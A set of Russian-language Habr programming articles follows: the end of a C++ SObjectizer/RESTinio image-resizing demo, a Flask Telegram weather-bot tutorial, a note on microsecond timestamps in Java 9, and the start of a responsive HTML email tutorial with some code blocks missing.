#### Тип sobj\_shptr\_t и переиспользование экземпляров сообщений
В определении типа очереди ждущих запросов, а также в сигнатурах некоторых методов transform\_manager-а можно увидеть использование типа sobj\_shptr\_t. Есть смысл остановится подробнее на том, что это за тип и почему он используется.
Суть в том, что transform\_manager получает запрос от HTTP-сервера в виде сообщения resize\_request\_t:
```
struct resize_request_t final : public so_5::message_t
{
restinio::request_handle_t m_http_req;
std::string m_image;
image_format_t m_image_format;
transform::resize_params_t m_params;
resize_request_t(
restinio::request_handle_t http_req,
std::string image,
image_format_t image_format,
transform::resize_params_t params )
: m_http_req{ std::move(http_req) }
, m_image{ std::move(image) }
, m_image_format{ image_format }
, m_params{ params }
{}
};
```
и мы должны что-то сделать для сохранения этой информации в очереди ждущих запросов. Например, можно создать новый экземпляр resize\_request\_t и переместить в него значения из полученного сообщения.
А можно вспомнить о том, что само сообщение в SObjectizer — это динамически созданный объект. И не простой объект, а со счетчиком ссылок внутри. И что в SObjectizer-е есть специальный тип умного указателя для таких объектов — intrusive\_ptr\_t.
Т.е. мы можем не делать копию resize\_request\_t для очереди ждущих запросов, а можем просто поместить в эту очередь умный указатель на уже существующий экземпляр resize\_request\_t. Что мы и делаем. А для того, чтобы не писать везде довольно экзотическое имя so\_5::intrusive\_ptr\_t, мы вводим свой псевдоним:
```
template
using sobj\_shptr\_t = so\_5::intrusive\_ptr\_t;
```
### Асинхронные ответы клиентам
Мы говорили, что HTTP-запросы обрабатываются асинхронно. И показали выше, как HTTP-сервер асинхронным сообщением отсылает запрос агенту transform\_manager. Но что происходит с ответами на HTTP-запросы?
Ответы также обслуживаются асинхронно. Например, в коде transform\_manager можно увидеть следующее:
```
void
a_transform_manager_t::on_failed_resize(
failed_resize_t & /*result*/,
sobj_shptr_t cmd )
{
do\_404\_response( std::move(cmd->m\_http\_req) );
}
```
Этот код генерирует отрицательный ответ на HTTP-запрос в случае, когда отмасштабировать картинку по какой-то причине не удалось. Генерация ответа происходит во вспомогательной функции do\_404\_response, код которой можно представить следующим образом:
```
auto do_404_response( restinio::request_handle_t req )
{
auto resp = req->create_response( 404, "Not Found" );
resp.append_header( restinio::http_field_t::server, "Shrimp draft server" );
resp.append_header_date_field();
if( req->header().should_keep_alive() )
resp.connection_keep_alive();
else
resp.connection_close();
return resp.done();
}
```
Первый ключевой момент с do\_404\_response() — это то, что данная функция вызывается на рабочем контексте агента transform\_manager, а вовсе не на рабочем контексте HTTP-сервера.
Второй ключевой момент — это вызов метода done() у полностью сформированного объекта resp. Вся асинхронная магия с HTTP-ответом происходит именно здесь. Метод done() берет всю подготовленную в resp информацию и асинхронно отсылает ее HTTP-серверу. Т.е. возврат из do\_404\_response() произойдет сразу после того, как содержимое объекта resp будет поставлено в очередь HTTP-сервера.
HTTP-сервер на своем рабочем контексте обнаружит наличие нового HTTP-ответа и начнет выполнять необходимые действия по отсылке ответа соответствующему клиенту.
### Тип datasizable\_blob\_t
Еще один небольшой момент, который имеет смысл пояснить, ибо он наверняка непонятен без понимания тонкостей работы RESTinio. Речь про наличие, на первый взгляд, странного типа datasizeable\_blob\_t, определенного следующим образом:
```
struct datasizable_blob_t
: public std::enable_shared_from_this< datasizable_blob_t >
{
const void * data() const noexcept
{
return m_blob.data();
}
std::size_t size() const noexcept
{
return m_blob.length();
}
Magick::Blob m_blob;
//! Value for `Last-Modified` http header field.
const std::time_t m_last_modified_at{ std::time( nullptr ) };
};
```
Для того, чтобы пояснить, зачем нужен этот тип, нужно показать, как формируется HTTP-ответ с трансформированной картинкой:
```
void
serve_transformed_image(
restinio::request_handle_t req,
datasizable_blob_shared_ptr_t blob,
image_format_t img_format,
http_header::image_src_t image_src,
header_fields_list_t header_fields )
{
auto resp = req->create_response();
set_common_header_fields_for_image_resp(
blob->m_last_modified_at,
resp )
.append_header(
restinio::http_field::content_type,
image_content_type_from_img_format( img_format ) )
.append_header(
http_header::shrimp_image_src,
image_src_to_str( image_src ) )
.set_body( std::move( blob ) );
for( auto & hf : header_fields )
{
resp.append_header( std::move( hf.m_name ), std::move( hf.m_value ) );
}
resp.done();
}
```
Обращаем внимание на вызов set\_body(): умный указатель на экземпляр datasizable\_blob\_t отправляется непосредственно туда. Зачем?
Дело в том, что [RESTinio поддерживает несколько вариантов формирования тела HTTP-ответа](https://stiffstream.com/en/docs/restinio/0.4/buffers.html). Самый простой — это передать в set\_body() экземпляр типа std::string и RESTinio сохранит значение этого string-а внутри объекта resp.
Но бывают случаи, когда значение для set\_body() должно переиспользоваться сразу в нескольких ответах. Например, в shrimp-е это происходит когда shrimp получает несколько одинаковых запросов на трансформацию одной и той же картинки. В этом случае невыгодно копировать одно и то же значение в каждый ответ. Поэтому в RESTinio есть вариант set\_body() вида:
```
template auto set\_body(std::shared\_ptr body);
```
Но в этом случае на тип T накладывается важное ограничение: в нем должны быть публичные методы data() и size(), которые нужны, чтобы RESTinio мог получить доступ к содержимому ответа.
Отмасштабированная картинка в shrimp-е хранится в виде объекта Magick::Blob. В типе Magic::Blob есть метод data, но нет метода size(), зато есть метод length(). Поэтому нам и потребовался класс-обертка datasizable\_blob\_t, который предоставляет RESTinio нужный интерфейс для доступа к значению Magick::Blob.
### Периодические сообщения в transform\_manager
Агенту transform\_manager время от времени нужно выполнять несколько действий:
* выталкивать из кэша картинки, которые находятся в кэше слишком долго;
* контролировать время нахождения запросов в очереди ожидания свободных transformer-ов.
Агент transform\_manager выполняет эти действия посредством периодических сообщений. Выглядит это следующим образом.
Сперва определяются типы сигналов, которые будут использоваться в качестве периодических сообщений:
```
struct clear_cache_t final : public so_5::signal_t {};
struct check_pending_requests_t final : public so_5::signal_t {};
```
Затем выполняется подписка агента, в том числе и на эти сигналы:
```
void
a_transform_manager_t::so_define_agent()
{
so_subscribe_self()
.event( &a_transform_manager_t::on_resize_request )
.event( &a_transform_manager_t::on_resize_result )
.event( &a_transform_manager_t::on_clear_cache )
.event( &a_transform_manager_t::on_check_pending_requests );
}
void
a_transform_manager_t::on_clear_cache(
mhood_t ) {...}
void
a\_transform\_manager\_t::on\_check\_pending\_requests(
mhood\_t ) {...}
```
Благодаря подписке SObjectizer будет вызывать нужный обработчик при получении агентом соответствующего сигнала.
И остается только запустить периодические сообщения при старте агента:
```
void
a_transform_manager_t::so_evt_start()
{
m_clear_cache_timer = so_5::send_periodic(
\*this,
clear\_cache\_period,
clear\_cache\_period );
m\_check\_pending\_timer = so\_5::send\_periodic(
\*this,
check\_pending\_period,
check\_pending\_period );
}
```
Ключевой момент здесь — это сохранение timer\_id, которые возвращаются функциями send\_periodic(). Ведь периодический сигнал будет приходить лишь до тех пор, пока жив его timer\_id. Поэтому, если возвращаемое send\_periodic() значение не сохранить, то отсылка периодического сообщения будет сразу же отменена. Поэтому в классе a\_transform\_manager\_t есть такие атрибуты:
```
so_5::timer_id_t m_clear_cache_timer;
so_5::timer_id_t m_check_pending_timer;
```
Конец первой части
==================
Сегодня мы познакомили читателя с самой простой и минималистичной реализацией shrimp-а. Этой реализации достаточно, чтобы показать, как RESTinio и SObjectizer можно совместно использовать для чего-то более-менее похожего на реальную задачу, а не на простой HelloWorld. Но в ней есть ряд серьезных недостатков.
Например, в агенте transform\_manager есть некая проверка уникальности запроса. Но она работает только в случае, если трансформированное изображение уже есть в кэше. Если же изображения в кэше еще нет и одновременно приходят два одинаковых запроса для одной и той же картинки, то оба эти запроса будут отданы на обработку. Что не есть хорошо. Правильно было бы обработать только один из них, а второй отложить до тех пор, пока обработка первого не завершится.
Такой более расширенный контроль за уникальностью запросов привел бы к гораздо более сложному и объемному коду transform\_manager. Поэтому мы не стали его реализовывать сразу, а решили пойти эволюционным путем — от простого к сложному.
Так же простейшая версия shrimp-а представляет из себя «черный ящик», который не показывает никаких следов своей работы. Что не очень удобно как при тестировании, так и при эксплуатации. Поэтому, по хорошему, в shrimp следует добавить еще и логирование.
Эти и некоторые другие недостатки самой первой версии shrimp-а мы попробуем устранить в последующих версиях и описать в следующих статьях. Так что stay tuned.
Если у кого-то возникнут вопросы по логике работы shrimp-а, RESTinio или SObjectizer-а, то мы с удовольствием ответим в комментариях. Кроме того, сам по себе shrimp — это демо проект, но если кто-то заинтересовался его функциональностью и хотел бы видеть в shrimp-е что-то еще, помимо операции resize, то дайте нам знать, мы с удовольствием прислушаемся к любым конструктивным идеям.
[Продолжение...](https://habr.com/post/417527/) | https://habr.com/ru/post/416387/ | null | ru | null |
# Простой Telegram-бот на Flask с информированием о погоде
Всем привет, в этой статье я расскажу как сделать простейшего телеграмм бота на Python для отправки текущей погоды в Москве.
Статья расчитана на новичков в Python, которые бы хотели узнать больше о том, как взаимодействовать с внешними сервисами по API.
Технологии и API:
* Python — язык программирования,
* Flask — фреймворк для создания веб-приложений,
* Telegram Bot API,
* Weatherstack API,
* Ngrok — сервис для создания туннеля к localhost.
Как все будет работать?
-----------------------
1. Пользователь пишет сообщение телеграмм боту.
2. Telegram пересылает сообщение пользователя на сервер.
3. Сервер запрашивает информацию о погоде у Weatherstack.
4. Сервер отсылает информацию о погоде в Telegram.
5. Пользователь получает информацию о погоде.
Регистрация телеграмм бота
--------------------------
На этом этапе нам нужно создать бота и получить к нему доступы. Для этого запускаем бота [botfather](https://habr.com/ru/users/botfather/) в Telegram командой ниже.
```
/start
```
Создаем нового бота согласно инструкциям из сообщения от бота.
!
Бот создан, но если ему написать какое-нибудь сообщение, он никак на него не отреагирует. Исправим это.
Справка о Flask
---------------
Flask — фреймворк для создания веб-приложений на языке программирования Python, использующий набор инструментов Werkzeug, а также шаблонизатор Jinja2. Относится к категории так называемых микрофреймворков — минималистичных каркасов веб-приложений, сознательно предоставляющих лишь самые базовые возможности.
Поддерживается установка посредством пакетного менеджера PyPI, версия 1.0 совместима с Python 2.7, Python 3.3 и выше.
[Источник](https://ru.wikipedia.org/wiki/Flask_(%D0%B2%D0%B5%D0%B1-%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA)).
Установка Flask
---------------
Для изоляции зависимостей пакетов Python создадим папку проекта и виртуальное окружение. Для этого в терминале выполним команды ниже. Подробнее [о виртуальных окружениях](https://pyneng.readthedocs.io/ru/latest/book/01_intro/virtualenv.html).
```
$ mkdir weather_bot
$ cd weather_bot
$ python3 -m venv venv
```
После завершения установки и активации виртуального окружения установим Flask.
```
(venv)$ pip install Flask
```
Подробнее на странице [Installation](https://flask.palletsprojects.com/en/1.1.x/installation/).
Запуск простейшего приложения Flask
-----------------------------------
В директории `weather_bot` создадим файл `app.py` с содержимым.
```
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello, World!'
```
Запустим полученное приложение.
```
(venv)$ export FLASK_APP=app.py
(venv)$ flask run
* Running on http://127.0.0.1:5000/
```
Перейдем по адресу <http://127.0.0.1:5000/> и убедимся, что отображается текст "Hello, World!".
Подробнее на странице [Quickstart](https://flask.palletsprojects.com/en/1.1.x/quickstart/).
Создание туннеля к localhost с помощью ngrok
--------------------------------------------
Ngrok — это сервис, позволяющий создавать туннели на локальный компьютер пользователя.
1. Зарегистрируемся [на сайте ngrok](https://dashboard.ngrok.com/signup).
2. Выполним установку [по инструкции](https://dashboard.ngrok.com/get-started).
3. Запустим HTTP туннель на 5000 порте с помощью команды терминала ниже.
```
$ ./ngrok http 5000
```
Получение сообщений из телеграмм бота
-------------------------------------
Для того, чтобы Telegram пересылал сообщения на наш сервер, нужно сообщить ему адрес. У нас уже создан туннель, поэтому передадим адрес туннеля в Telegram. Это делается с помощью метода POST setWebhook. Подробнее на странице [документации](https://core.telegram.org/bots/api#setwebhook).
```
$ curl --location --request POST 'https://api.telegram.org/bot{token}/setWebhook' \
--header 'Content-Type: application/json' \
--data-raw '{
"url": "{url}"
}'
```
где {token} — токен вида 840446984:AAFuVTW-FYP5tJVu8mqhc9y4E0j1fr2lCD0, который нам прислал BotFather,
{url} — адрес вида <https://32515a83.ngrok.io>, который отобразился в консоли ngrok. Обратите внимание на протокол. Он должен быть https, иначе Telegram не примет url.
Подробнее о cURL на странице [wiki](https://ru.wikipedia.org/wiki/CURL).
Если получен ответ "ok": true, то все в порядке.
```
{
"ok": true,
"result": true,
"description": "Webhook was set"
}
```
Проверим, что сообщения доходят до нашего локального сервера. Для этого в файле `app.py` обновим код.
```
from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def receive_update():
if request.method == "POST":
print(request.json)
return {"ok": True}
```
Перезапустим Flask. Для этого остановим сервер из терминала комбинацией клавиш Ctrl+C и повторно запустим его.
```
(venv)$ flask run
```
Отправим нашему боту сообщение с произвольным текстом. В консоли должно отобразиться тело запроса из Telegram. Это признак того, что все в порядке.
!
Ответ на сообщения пользователей
--------------------------------
Мы научились получать сообщения от пользователей, но еще не умеем их отправлять. Для проверки отправки сообщений будем отвечать текстом "pong" на все сообщения.
Для отправки сообщений пользователям в API Telegram используется метод sendMessage. Подробнее на странице [документации](https://core.telegram.org/bots/api#sendmessage).
Запросы будем делать с помощью библиотеки requests, которой нет в списке стандартных, поэтому установим ее. Для этого в терминале с активированным виртуальным окружением выполним команду нижу.
```
(venv)$ pip install requests
```
Добавим строку импорта `requests` сразу за строкой `from flask import Flask, request` в `app.py`.
```
import requests
```
Для отправки сообщений нам нужно знать id чата. Его можно вытащить из тела Telegram-запроса.
```
chat_id = request.json["message"]["chat"]["id"]
```
Напишем функцию для отправки сообщений, в которую будем передавать id чата и текст сообщения.
```
def send_message(chat_id, text):
method = "sendMessage"
token = "840446984:AAFuVTW-FYP5tJVu8mqhc9y4E0j1fr2lCD0"
url = f"https://api.telegram.org/bot{token}/{method}"
data = {"chat_id": chat_id, "text": text}
requests.post(url, data=data)
```
Подробнее о библиотеке `requests` на [странице](https://requests.readthedocs.io/en/master/user/quickstart/).
Добавим вызов функции `send_message()` из `receive_update()`.
```
send_message(chat_id, "pong")
```
Вот так выглядит код в файле `app.py`
```
from flask import Flask, request
import requests
app = Flask(__name__)
def send_message(chat_id, text):
method = "sendMessage"
token = "840446984:AAFuVTW-FYP5tJVu8mqhc9y4E0j1fr2lCD0"
url = f"https://api.telegram.org/bot{token}/{method}"
data = {"chat_id": chat_id, "text": text}
requests.post(url, data=data)
@app.route("/", methods=["GET", "POST"])
def receive_update():
if request.method == "POST":
print(request.json)
chat_id = request.json["message"]["chat"]["id"]
send_message(chat_id, "pong")
return {"ok": True}
```
Отправка пользователю информации о погоде
-----------------------------------------
Используем метод `current` Weatherstack API для получения информации о погоде.
Передадим 2 обязательных Query Params: access\_key — секретный ключ вида 86a3fe972756lk34a6a042bll348b1e3, который можно получить после регистрации, и query — город, по которому получаем информацию о погоде, в нашем случае — Moscow.
Подробнее на странице [документации](https://weatherstack.com/documentation).
Добавим функцию для получения текущей температуры в Москве после строки `app = Flask(__name__)`.
```
def get_weather():
params = {"access_key": "86a3fe972756lk34a6a042bll348b1e3", "query": "Moscow"}
api_result = requests.get('http://api.weatherstack.com/current', params)
api_response = api_result.json()
return f"Сейчас в Москве {api_response['current']['temperature']} градусов"
```
Внутри функции `receive_update()` вместо сообщения с текстом "pong" передадим погоду.
```
weather = get_weather()
send_message(chat_id, weather)
```
Код всего Flask-приложения состоит из 3 функций: получения сообщений из Telegram, отправка сообщений в Telegram и получение информации о погоде из Weatherstack.
```
from flask import Flask, request
import requests
app = Flask(__name__)
def get_weather():
params = {"access_key": "86a3fe972756lk34a6a042bll348b1e3", "query": "Moscow"}
api_result = requests.get('http://api.weatherstack.com/current', params)
api_response = api_result.json()
return f"Сейчас в Москве {api_response['current']['temperature']} градусов"
def send_message(chat_id, text):
method = "sendMessage"
token = "840446984:AAFuVTW-FYP5tJVu8mqhc9y4E0j1fr2lCD0"
url = f"https://api.telegram.org/bot{token}/{method}"
data = {"chat_id": chat_id, "text": text}
requests.post(url, data=data)
@app.route("/", methods=["GET", "POST"])
def receive_update():
if request.method == "POST":
print(request.json)
chat_id = request.json["message"]["chat"]["id"]
weather = get_weather()
send_message(chat_id, weather)
return {"ok": True}
```
Вот и всё! Таким несложным образом мы научили наш бот информировать нас о погоде в Москве. | https://habr.com/ru/post/495036/ | null | ru | null |
# Precise timestamp
Пока идёт горячее обсуждение быть или нет быть **jigsaw** в **java 9** и в каком виде ему быть — не стоит забывать про полезняшки, которые несёт с собой девятка — и одна из них — повышение точности **Clock.systemUTC()** — [JDK-8068730](https://bugs.openjdk.java.net/browse/JDK-8068730).
Что же было раньше ?
До **java 8** был **System.currentTimeMillis()** и **System.nanoTime()**, и если первый давал *wall clock* время, но с **миллисекундным** разрешением, то второй даёт время с разрешением до **наносекунд**, но область применения ограничена измерением разности времён, причём в рамках одной jvm — и ни о каком использовании такой временной метки между разными машинами и быть не может.
Поэтому часто велосипедят свои *precise timestamp* дающие *wall clock* время с б**о**льшим разрешением, чем у *currentTimeMillis* (используя *jni* со всеми вытекающими) — более подробно про разницу между *currentTimeMillis* и *nanoTime*, и про велосипед можно почитать в [моём старом посте](http://dolzhenko.blogspot.com/2012/11/java-nanotime.html).
**Java 8** заложил очень мощный фундамент — **Java Time API**. С ним можно сказать пока и *joda time*, и встроить свой велосипед в **java.time.Clock**, т.к. штатный **SystemClock** по своей сути работает поверх System.currentTimeMillis() и не может обеспечить разрешение, лучше, чем миллисекунда.
И вот теперь в игру вступает **java 9** и ничего не ломая (что касается времени и его измерения) приносит улучшение — можно выбросить свой jni велосипед, по крайней мере на *Linux*, *MacOSX*, *BSD*, *Solaris* и *Windows* — см. [коммит в openjdk](http://hg.openjdk.java.net/jdk9/jdk9/hotspot/rev/fca33371ff0b).
С практической точки зрения имеют смысл микросекундные временные метки, а не наносекундные — причина тому, что **ntp** в рамках *intranet* способна дать время с точностью до 1 мкс.
Запилим провайдера точного **wall clock** времени с микросекундным разрешением ([исходники](https://gist.github.com/vladimirdolzhenko/a46431907d31bbfda73305d876711f28) в т.ч. и native часть):
```
public final class PreciseTimestamp {
static final Clock clock = Clock.systemUTC();
static {
try {
System.loadLibrary("precisetimestamp");
} catch (Throwable e){
throw new RuntimeException(e.getMessage(), e);
}
}
// JNI microsecond timestamp provider
public static native long getMicros();
// Critical JNI microsecond timestamp provider
public static native long getCMicros();
public static long clockMicros(){
final Instant instant = clock.instant();
return instant.getEpochSecond() * 1_000_000L + (instant.getNano() / 1_000);
}
}
```
**Java 8** даст примерно такие результаты
```
JNI micros: 1494398000506568
Critical JNI micros: 1494398000506986
ClockUTC micros: 1494398000507000
currentTimeMillis: 1494398000507
```
Ничего удивительного — внутри старый-добрый **System.currentTimeMillis()**
И **Java 9**:
```
JNI micros: 1494398039238236
Critical JNI micros: 1494398039238439
ClockUTC micros: 1494398039238498
currentTimeMillis: 1494398039239
```
*Дополнено:*
Т.е. выглядит так, что штатный **SystemClock** можно использовать как замену *jni* велосипеду — считаем, что мы можем доверять подлезжащей реализации, что касается корректности получения и монотонности возрастания **wall clock** времени, рассмотрим гранулярность ([тест на гранулярность и результаты](https://gist.github.com/vladimirdolzhenko/a46431907d31bbfda73305d876711f28#file-clockgranularity-java) ):
```
java 9:
OS Value Units
MacOSX: 1011.522 ns/op
Windows: 999916.218 ns/op
Linux: 1002.419 ns/op
```
Т.о. резонность интуитивного предположения об использовании микросекундной точности подтверждается и измерением, за исключением *windows*, которая обладает известной проблемой с использованием [GetSystemTimeAsFileTime](https://msdn.microsoft.com/en-us/library/windows/desktop/ms724397(v=vs.85).aspx) — на эту проблему была зарепорчена бага [JDK-8180466](http://bugs.java.com/bugdatabase/view_bug.do?bug_id=JDK-8180466).
*Но как же перформанс ?* — крикнут перформансники — и будут правы — на лицо *лишнее* создание объекта Instant.
Пилим [benchmark](https://gist.github.com/vladimirdolzhenko/a46431907d31bbfda73305d876711f28#file-perftiming-java), который сравнивает конечно же **jni**-велосипед (и обычный, и critical), метод основанный на **clock**, и для оценки масштабов бедствия **System.currentTimeMillis()** и **System.nanoTime()**:
*Смотрите [доклад про Escape Analysis и скаляризацию](https://www.youtube.com/watch?v=K6c3W6vhQOA), если не понятно, почему вызов **clock.instant()** оказывается дороже (хоть и не намного), чем вызов более сложного метода **clockMicros**:*
```
public static long clockMicros(){
final Instant instant = clock.instant();
return instant.getEpochSecond() * 1_000_000L + (instant.getNano() / 1_000);
}
```
*Дополнено:*
Убедится в том, что работает скаляризация можно добававив *-prof:gc*:
```
Benchmark Mode Cnt Score Error Units
PerfTiming.clockMicros:·gc.alloc.rate avgt 5 ≈ 10⁻⁵ MB/sec
PerfTiming.clockMicros:·gc.alloc.rate.norm avgt 5 ≈ 10⁻⁶ B/op
PerfTiming.instant:·gc.alloc.rate avgt 5 327,083 ± 13,098 MB/sec
PerfTiming.instant:·gc.alloc.rate.norm avgt 5 24,000 ± 0,001 B/op
```
**Выводы**: Использование **SystemClock** в 9ке вполне может заменить *jni* велосипед — цена ~10% от вызова, много это или мало это — каждый решает сам — я готов жертвовать этими 10%, чтобы забыть головную боль про сборку *jni* библиотеки и не забывать её деплоить. | https://habr.com/ru/post/328334/ | null | ru | null |
# Создаём отзывчивые письма для будущего без медиа-запросов
Создавая HTML код для email, приходится иметь дело с изрядным количеством больных вопросов. И вряд ли для кого то будет приемлемо, если нам к тому же ещё и придётся следить за новыми email-клиентами и размерами устройств, которые появляются каждую неделю. Поддержка media query как и сам CSS разнятся среди приложений, в следствии этого, каждый раз когда вы слышите что появилось новое восхитительное почтовое приложение, для которого тоже нужно провести тесты, вас неизбежно одолевает страх.
Но что если бы вы могли создать шаблон, который был бы отзывчивым даже в окружениях с наименьшей поддержкой современного CSS? Что если каждый раз, услышав о каком-то очередном почтовом приложении, которое все испытывают, вместо того чтобы предаваться страху, можно было бы чувствовать себя спокойно и уверенно, зная что ваши email наверняка будут выглядеть хорошо?
Приведенный ниже метод, сторонником которого я являюсь, всецело ориентирован на создание положительного опыта взаимодействия при работе с email-клиентами, у которых вообще отсутствует поддержка media query.
Он называется *fluid-hybrid method*, иногда упоминается как *spongy* метод для email разработок. Часть *fluid* предполагает что мы используем изрядной количество процентных вычислений. Часть *hybrid* означает что мы также используем max-width дабы ограничить некоторые из наших элементов на экранах большего размера.
Шесть главных проблем, которые мы намерены решить
-------------------------------------------------
**1. Приложение Gmail для Android и iOS — головная боль**
Оно более популярно чем дефолтное мейл-приложение для Android, но Gmail не поддерживает media queries, на которые мы традиционно полагаемся при изменении размера и формата на малых экранах. Этот обучающий материал покажет вам как создавать отзывчивые email-сообщения даже в Gmail app.
**2. Регулярное появление новых почтовых приложений**
Трудно уследить за всеми новыми email приложениями, которые продолжают появляться. Некоторые из них действительно «уделяют внимание» рендерингу сообщений и обладают хорошей поддержкой CSS и media query, но некоторые более сфокусированы на самом потоке обработки писем и вообще не поддерживают media queries. Этот учебный материал покажет как создавать мейлы, которые *всегда* отзывчивы вне зависимости от степени поддержки CSS.
**3. Количество возможных размеров экрана устройства практически неограниченно**
У нас есть не только огромные десктопы и крошечные смартфоны, у нас также имеются огромные смартфоны и крошечные лаптопы. Только потому, что кто-то осуществляет доступ к своему Gmail на лаптопе, не означает что его экран достаточно велик для отображения мейла шириной в 700 пикс.; и люди, используя iPhone 6+ могут обработать двухстолбцовую разметку, однако испытывают проблемы с одностолбцовой. Этот обучающий материал покажет вам, как создать разметку, которая меняет формат чтобы соответствовать доступному пространству, даже в webmail.
**4. Создание отзывчивых мейлов на мобильных устройствах с помощью расположенных столбцом работает не везде |**
Определённые email клиенты (для iOS и даже [некоторые родные почтовые приложения для предыдущих версий Android](https://www.emailonacid.com/blog/details/C13/how_android_is_strangling_responsive_design)) неправильно располагают столбцом две ячейки таблицы в одном ряду; они могут расположить в столбец лишь две отдельные таблицы. В этом обучающем материале используется совершенно другой метод, который полностью поддерживается всеми приложениями и устройствами. Стандартное решение данной проблемы — использование таблиц с атрибутами **align="left"** или **align="right"**, но это приводит к другой проблеме:
**5. Использование метода отзывчивой разработки *aligned table* приводит к тому, что ваши таблицы упираются влево или вправо в мобильных приложениях, которые не поддерживают media queries**
Метод, приведенный в данном учебном материале, использует другой подход, который гарантирует, что все ваши столбцы будут расположены друг над другом по центру на мобильном устройстве, даже в Gmail app (вы также без труда сможете выровнять их по левой или правой стороне по собственному усмотрению).
*Таблицы, выровненные по левому или правому краю, остаются на своих местах в мобильных приложениях, не поддерживающих media queries. Вы не можете это изменить с помощью мобильного CSS (mobile-specific CSS)*
*В этом тьюториале вам будет показано как расположить свои столбцы друг над другом по центру, даже в приложениях, которые не поддерживают media queries*
**6. Когда вы используете метод отзывчивой разработки *aligned table*, вы теряете возможность выровнять содержимое по вертикали в столбцах, расположенных рядом**
Этот обучающий материал также покажет вам как выровнять два столбца, расположенных в одном ряду, вертикально по верху или по середине так же, как если бы они были ячейками таблицы одного и того же ряда, и которые используют атрибут valign.
*С помощью этого учебного материала вы освоите метод ’fluid hybrid’, который позволит вам вертикально выравнивать столбцы по верху, середине или низу*
### 1. Давайте приступим
Начните с создания чистого файла, сохраните его как index.html, затем скопируйте и вставьте следующий код:
```
[content goes here]
```
Давайте быстро пробежимся по всем элементам приведенного выше кода:
```
!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
```
это DOCTYPE, который мне нравится больше всех остальных — я убедился что он порождает наименьшее число сюрпризов.
```
```
даёт поддержку всех символов Unicode в нашем документе.
```
```
используются здесь для того чтобы Windows Phones правильно отображали нашу мобильную версию.
Мы добавим , хотя лучше оставить его пустым. Тег **title** требуется для валидного XHTML, но некоторые родные почтовые клиенты для Android отобразят этот заголовок прямо перед прехедером в inbox превью, это в большинстве случаев не совсем хорошо.
Вы увидите, что я использую внешнюю таблицу стилей в этом учебном материале, но вы вольны выбирать подход по своему усмотрению. Продолжая, создайте документ с названием styles.css и сохраните его в той же директории где находится HTML файл. Вы конце мы выполним инлайнинг нашего CSS.
Далее, между у нас имеется условный CSS для Outlook, который принудительно выполнит коллапс границ для всех таблиц и предотвратит появление ненужных пустых мест. Это условное выражение ориентирвано на все версии Microsoft Outlook (mso) начиная с 9ой версии и выше (это, по сути, все версии, т. к. 9я и самая ранняя — это Outlook 2000), также как и на те версии, которые использую Interner Explorer для рендера (Outlook 2000-2003).
Сразу же после **body** у нас расположен тег , чтобы отцентрировать содержимое и выполнить роль носителя нескольких полезных CSS свойств (поскольку тег **body** частенько очищается в клиентах webmail). У нас также имеется для более ранних версий почтовых клиентов, построенных на Webkit (в основном Apple Mail 6 и ниже, а также Outlook 2011 в некоторых случаях). Эти ранние версии поддерживают **max-width** только для блочных элементов и наиболее простой способ заставить нашу вёрстку отображаться в правильном размере — обернуть её в этот **div**, что позволит нам обойтись без установки ширины в media query, как [в моём предыдущем тьюториале](http://webdesign.tutsplus.com/articles/creating-a-simple-responsive-html-email--webdesign-12978) (благодарите [zerocents](https://www.campaignmonitor.com/forums/topic/8162/outlook-2011-and-apple-mail-6-width-issue/) за этот фикс).
### 2. Начальные стили
Далее, создайте чистый CSS файл с названием styles.css Вставьте следующее в только что созданный файл:
```
/* Basics */
body {
Margin: 0;
padding: 0;
min-width: 100%;
background-color: #ffffff;
}
table {
border-spacing: 0;
font-family: sans-serif;
color: #333333;
}
td {
padding: 0;
}
img {
border: 0;
}
.wrapper {
width: 100%;
table-layout: fixed;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
.webkit {
max-width: 600px;
}
/* Windows Phone Viewport Fix */
@-ms-viewport {
width: device-width;
}
```
Здесь я обнуляю **margin** и **padding** для **body**, таблицы и табличных ячеек, а также обнуляю всякие границы, которые могут появиться вокруг изображений по ссылкам. Наши стили для тегов **table** и **td** нужны в качестве замены HTML атрибутов **cellpadding** и **cellspacing**. Вы вправе выбрать HTML атрибуты как альтернативу, если желаете; в прошлом я всегда поддерживал выбор HTML атрибутов вместо CSS свойств там где это было возможно, однако, по мере того как я работал над более и более масштабируемыми проектами, я обнаружил что могу достичь большей управляемости, размещая это в CSS, в особенности если вы, как правило, работаете в платформе, которая автоматически обрабатывает CSS инлайнинг.
Также я обычно добавляю **min-width** со значением в 100% тегу , дабы избежать всяких ситуаций когда контент не занимает полную ширину вьюпорта на мобильном устройстве, также всегда хорошей идеей будет задать цвет для **background**, даже если он абсолютно белый, дабы избежать цветовых глюков **background** в Outlook или Lotus Notes.
У нас также имеются свои стили с несколькими свойствами для **.wrapper**, которые препятствуют странному изменению размера текста на Windows Phones и iOS, вместе с этим **table-layout: fixed** будет гарантировать, что наш отцентрированный контент также будет отцентрирован в Yahoo mail. Мы устанавливаем **max-width** шириной в 600px для нашего **.webkit** div для ограничения содержимого в Apple Mail 6 (и ниже) и Outlook 2011.
И наконец, у нас имеется фикс для вьюпорта, который вместе с двумя нашими метатегами в заголовке, будет гарантировать беспроблемное отображение на Windows Phones.
### 3. Создание внешнего структурного контейнера
Начнём с одного из ключевых строительных блоков в данном методе: условной таблицы (conditional table) для Outlook, которая является скрытой для всех остальных клиентов. Нам это необходимо, т. к. мы собираемся использовать свойство **max-width**, которое Outlook не поддерживает. Поэтому нам необходимо создать специальные Outlook-only таблицы с явно заданной пиксельной шириной, которые будут всё вмещать.
*Применяется наша условная таблица для Outlook, т. к. Outlook не поддерживает свойство max-width*
Итак, давайте удалим заполнитель [content goes here] из нашего HTML файла и вставим следующий код. Я стараюсь выравнивать все теги условного кода (conditional code) по левому краю и соблюдать равный уровень отступа для читабельности, но вы можете выравнивать их по собственному усмотрению.
```
| |
| --- |
|
[content goes here]
|
```
